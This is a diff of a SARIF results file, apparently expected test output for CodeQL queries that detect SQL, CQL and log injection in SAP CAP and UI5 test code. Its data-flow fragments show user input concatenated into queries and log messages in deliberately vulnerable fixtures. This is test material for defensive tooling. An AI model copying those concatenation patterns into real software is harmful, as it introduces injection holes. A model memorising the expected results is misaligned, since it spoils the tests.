               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 85
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 17,
-                  "startColumn" : 38,
-                  "endColumn" : 47
+                  "startLine" : 8,
+                  "startColumn" : 13,
+                  "endColumn" : 31
                 }
               },
               "message" : {
-                "text" : "sanitized"
+                "text" : "{ book, quantity }"
               }
             }
-          } ]
-        } ]
-      } ],
-      "relatedLocations" : [ {
-        "id" : 1,
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 91
-          },
-          "region" : {
-            "startLine" : 5,
-            "startColumn" : 5,
-            "endLine" : 7,
-            "endColumn" : 29
-          }
-        },
-        "message" : {
-          "text" : "user-provided value"
-        }
-      } ]
-    }, {
-      "ruleId" : "js/ui5-log-injection",
-      "rule" : {
-        "id" : "js/ui5-log-injection",
-        "index" : 4,
-        "toolComponent" : {
-          "index" : 0
-        }
-      },
-      "message" : {
-        "text" : "Log entry depends on a [user-provided value](1)."
-      },
-      "locations" : [ {
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 95
-          },
-          "region" : {
-            "startLine" : 17,
-            "startColumn" : 34,
-            "endColumn" : 39
-          }
-        }
-      } ],
-      "partialFingerprints" : {
-        "primaryLocationLineHash" : "392fd43c95c7be9c:1",
-        "primaryLocationStartColumnFingerprint" : "21"
-      },
-      "codeFlows" : [ {
-        "threadFlows" : [ {
-          "locations" : [ {
+          }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 99
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 5,
-                  "startColumn" : 5,
-                  "endLine" : 7,
-                  "endColumn" : 29
+                  "startLine" : 8,
+                  "startColumn" : 15,
+                  "endColumn" : 19
                 }
               },
               "message" : {
-                "text" : "value={/input}"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 95
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 17,
-                  "endColumn" : 28
+                  "startLine" : 8,
+                  "startColumn" : 13,
+                  "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "input: null"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 95
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 15,
-                  "startColumn" : 25,
-                  "endColumn" : 53
+                  "startLine" : 20,
+                  "startColumn" : 60,
+                  "endColumn" : 64
                 }
               },
               "message" : {
-                "text" : "oModel. ... input')"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 95
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 15,
-                  "startColumn" : 17,
-                  "endColumn" : 53
+                  "startLine" : 20,
+                  "startColumn" : 52,
+                  "endColumn" : 64
                 }
               },
               "message" : {
-                "text" : "input"
+                "text" : "'ID=' + book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 95
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 17,
-                  "startColumn" : 34,
-                  "endColumn" : 39
+                  "startLine" : 20,
+                  "startColumn" : 27,
+                  "endColumn" : 65
                 }
               },
               "message" : {
-                "text" : "input"
+                "text" : "SELECT. ... + book)"
               }
             }
           } ]
@@ -19399,15 +21580,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml",
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 99
+            "index" : 1
           },
           "region" : {
-            "startLine" : 5,
-            "startColumn" : 5,
-            "endLine" : 7,
-            "endColumn" : 29
+            "startLine" : 7,
+            "startColumn" : 34,
+            "endColumn" : 37
           }
         },
         "message" : {
@@ -19420,7 +21600,7 @@
         "id" : "js/cap-sql-injection",
         "index" : 0,
         "toolComponent" : {
-          "index" : 1
+          "index" : 0
         }
       },
       "message" : {
@@ -19429,20 +21609,20 @@
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 0
+            "index" : 1
           },
           "region" : {
-            "startLine" : 13,
-            "startColumn" : 36,
-            "endColumn" : 41
+            "startLine" : 28,
+            "startColumn" : 39,
+            "endColumn" : 42
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "f2a20fb013371856:1",
-        "primaryLocationStartColumnFingerprint" : "29"
+        "primaryLocationLineHash" : "144d55d233768c80:1",
+        "primaryLocationStartColumnFingerprint" : "32"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -19450,9 +21630,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 1
                 },
                 "region" : {
                   "startLine" : 7,
@@ -19468,9 +21648,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 1
                 },
                 "region" : {
                   "startLine" : 8,
@@ -19486,9 +21666,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 1
                 },
                 "region" : {
                   "startLine" : 8,
@@ -19504,9 +21684,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 1
                 },
                 "region" : {
                   "startLine" : 8,
@@ -19522,9 +21702,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 1
                 },
                 "region" : {
                   "startLine" : 8,
@@ -19540,9 +21720,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 1
                 },
                 "region" : {
                   "startLine" : 8,
@@ -19558,14 +21738,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 12,
-                  "startColumn" : 50,
-                  "endColumn" : 54
+                  "startLine" : 27,
+                  "startColumn" : 59,
+                  "endColumn" : 63
                 }
               },
               "message" : {
@@ -19576,72 +21756,54 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
-                },
-                "region" : {
-                  "startLine" : 12,
-                  "startColumn" : 44,
-                  "endColumn" : 56
-                }
-              },
-              "message" : {
-                "text" : "`ID=${book}`"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 12,
-                  "startColumn" : 19,
-                  "endColumn" : 57
+                  "startLine" : 27,
+                  "startColumn" : 17,
+                  "endColumn" : 63
                 }
               },
               "message" : {
-                "text" : "SELECT. ... book}`)"
+                "text" : "CQL`SEL ...  + book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 12,
+                  "startLine" : 27,
                   "startColumn" : 11,
-                  "endColumn" : 57
+                  "endColumn" : 63
                 }
               },
               "message" : {
-                "text" : "query"
+                "text" : "cqn"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 13,
-                  "startColumn" : 36,
-                  "endColumn" : 41
+                  "startLine" : 28,
+                  "startColumn" : 39,
+                  "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "query"
+                "text" : "cqn"
               }
             }
           } ]
@@ -19651,9 +21813,9 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 0
+            "index" : 1
           },
           "region" : {
             "startLine" : 7,
@@ -19671,7 +21833,7 @@
         "id" : "js/cap-sql-injection",
         "index" : 0,
         "toolComponent" : {
-          "index" : 1
+          "index" : 0
         }
       },
       "message" : {
@@ -19680,20 +21842,20 @@
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 0
+            "index" : 1
           },
           "region" : {
-            "startLine" : 15,
-            "startColumn" : 27,
-            "endColumn" : 65
+            "startLine" : 31,
+            "startColumn" : 39,
+            "endColumn" : 43
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "e89930467a1e0810:1",
-        "primaryLocationStartColumnFingerprint" : "20"
+        "primaryLocationLineHash" : "1cd6f1adc2ef8f7c:1",
+        "primaryLocationStartColumnFingerprint" : "32"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -19701,9 +21863,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 1
                 },
                 "region" : {
                   "startLine" : 7,
@@ -19719,9 +21881,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 1
                 },
                 "region" : {
                   "startLine" : 8,
@@ -19737,9 +21899,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 1
                 },
                 "region" : {
                   "startLine" : 8,
@@ -19755,9 +21917,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 1
                 },
                 "region" : {
                   "startLine" : 8,
@@ -19773,9 +21935,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 1
                 },
                 "region" : {
                   "startLine" : 8,
@@ -19791,9 +21953,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 1
                 },
                 "region" : {
                   "startLine" : 8,
@@ -19809,14 +21971,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 15,
-                  "startColumn" : 58,
-                  "endColumn" : 62
+                  "startLine" : 30,
+                  "startColumn" : 56,
+                  "endColumn" : 60
                 }
               },
               "message" : {
@@ -19827,36 +21989,72 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 15,
-                  "startColumn" : 52,
-                  "endColumn" : 64
+                  "startLine" : 30,
+                  "startColumn" : 32,
+                  "endColumn" : 60
                 }
               },
               "message" : {
-                "text" : "`ID=${book}`"
+                "text" : "`SELECT ...  + book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 15,
-                  "startColumn" : 27,
-                  "endColumn" : 65
+                  "startLine" : 30,
+                  "startColumn" : 18,
+                  "endColumn" : 61
                 }
               },
               "message" : {
-                "text" : "SELECT. ... book}`)"
+                "text" : "cds.par ... + book)"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 1
+                },
+                "region" : {
+                  "startLine" : 30,
+                  "startColumn" : 11,
+                  "endColumn" : 61
+                }
+              },
+              "message" : {
+                "text" : "cqn1"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 1
+                },
+                "region" : {
+                  "startLine" : 31,
+                  "startColumn" : 39,
+                  "endColumn" : 43
+                }
+              },
+              "message" : {
+                "text" : "cqn1"
               }
             }
           } ]
@@ -19866,9 +22064,9 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 0
+            "index" : 1
           },
           "region" : {
             "startLine" : 7,
@@ -19881,34 +22079,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/cap-sql-injection",
+      "ruleId" : "js/cap-log-injection",
       "rule" : {
-        "id" : "js/cap-sql-injection",
-        "index" : 0,
+        "id" : "js/cap-log-injection",
+        "index" : 1,
         "toolComponent" : {
-          "index" : 1
+          "index" : 0
         }
       },
       "message" : {
-        "text" : "This query depends on a [user-provided value](1)."
+        "text" : "Log entry depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 0
+            "index" : 2
           },
           "region" : {
-            "startLine" : 18,
-            "startColumn" : 37,
-            "endColumn" : 43
+            "startLine" : 11,
+            "startColumn" : 16,
+            "endColumn" : 29
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "d00fe7de05986c6a:1",
-        "primaryLocationStartColumnFingerprint" : "30"
+        "primaryLocationLineHash" : "eae426bf8fad0192:1",
+        "primaryLocationStartColumnFingerprint" : "9"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -19916,9 +22114,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 7,
@@ -19934,9 +22132,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 8,
@@ -19952,9 +22150,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 8,
@@ -19970,9 +22168,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 8,
@@ -19988,9 +22186,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 8,
@@ -20006,9 +22204,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 8,
@@ -20024,14 +22222,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 2
                 },
                 "region" : {
-                  "startLine" : 17,
-                  "startColumn" : 53,
-                  "endColumn" : 57
+                  "startLine" : 11,
+                  "startColumn" : 25,
+                  "endColumn" : 29
                 }
               },
               "message" : {
@@ -20042,72 +22240,161 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 2
                 },
                 "region" : {
-                  "startLine" : 17,
-                  "startColumn" : 45,
-                  "endColumn" : 57
+                  "startLine" : 11,
+                  "startColumn" : 16,
+                  "endColumn" : 29
                 }
               },
               "message" : {
-                "text" : "'ID=' + book"
+                "text" : "\"CAP:\" + book"
+              }
+            }
+          } ]
+        } ]
+      } ],
+      "relatedLocations" : [ {
+        "id" : 1,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 2
+          },
+          "region" : {
+            "startLine" : 7,
+            "startColumn" : 34,
+            "endColumn" : 37
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      } ]
+    }, {
+      "ruleId" : "js/cap-log-injection",
+      "rule" : {
+        "id" : "js/cap-log-injection",
+        "index" : 1,
+        "toolComponent" : {
+          "index" : 0
+        }
+      },
+      "message" : {
+        "text" : "Log entry depends on a [user-provided value](1)."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 2
+          },
+          "region" : {
+            "startLine" : 18,
+            "startColumn" : 47,
+            "endColumn" : 48
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "e05b39891dddd161:1",
+        "primaryLocationStartColumnFingerprint" : "40"
+      },
+      "codeFlows" : [ {
+        "threadFlows" : [ {
+          "locations" : [ {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 2
+                },
+                "region" : {
+                  "startLine" : 15,
+                  "startColumn" : 24,
+                  "endColumn" : 27
+                }
+              },
+              "message" : {
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 2
                 },
                 "region" : {
-                  "startLine" : 17,
-                  "startColumn" : 20,
-                  "endColumn" : 58
+                  "startLine" : 18,
+                  "startColumn" : 17,
+                  "endColumn" : 20
                 }
               },
               "message" : {
-                "text" : "SELECT. ... + book)"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 2
                 },
                 "region" : {
-                  "startLine" : 17,
-                  "startColumn" : 11,
-                  "endColumn" : 58
+                  "startLine" : 18,
+                  "startColumn" : 17,
+                  "endColumn" : 25
                 }
               },
               "message" : {
-                "text" : "query2"
+                "text" : "req.data"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 18,
-                  "startColumn" : 37,
-                  "endColumn" : 43
+                  "startColumn" : 13,
+                  "endColumn" : 25
                 }
               },
               "message" : {
-                "text" : "query2"
+                "text" : "$"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 2
+                },
+                "region" : {
+                  "startLine" : 18,
+                  "startColumn" : 47,
+                  "endColumn" : 48
+                }
+              },
+              "message" : {
+                "text" : "$"
               }
             }
           } ]
@@ -20117,14 +22404,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 0
+            "index" : 2
           },
           "region" : {
-            "startLine" : 7,
-            "startColumn" : 34,
-            "endColumn" : 37
+            "startLine" : 15,
+            "startColumn" : 24,
+            "endColumn" : 27
           }
         },
         "message" : {
@@ -20132,34 +22419,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/cap-sql-injection",
+      "ruleId" : "js/cap-log-injection",
       "rule" : {
-        "id" : "js/cap-sql-injection",
-        "index" : 0,
+        "id" : "js/cap-log-injection",
+        "index" : 1,
         "toolComponent" : {
-          "index" : 1
+          "index" : 0
         }
       },
       "message" : {
-        "text" : "This query depends on a [user-provided value](1)."
+        "text" : "Log entry depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 0
+            "index" : 2
           },
           "region" : {
-            "startLine" : 20,
-            "startColumn" : 27,
-            "endColumn" : 65
+            "startLine" : 25,
+            "startColumn" : 16,
+            "endColumn" : 29
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "8317b1d31382ab92:1",
-        "primaryLocationStartColumnFingerprint" : "20"
+        "primaryLocationLineHash" : "4dc77ce4a9b7031e:1",
+        "primaryLocationStartColumnFingerprint" : "9"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -20167,66 +22454,30 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
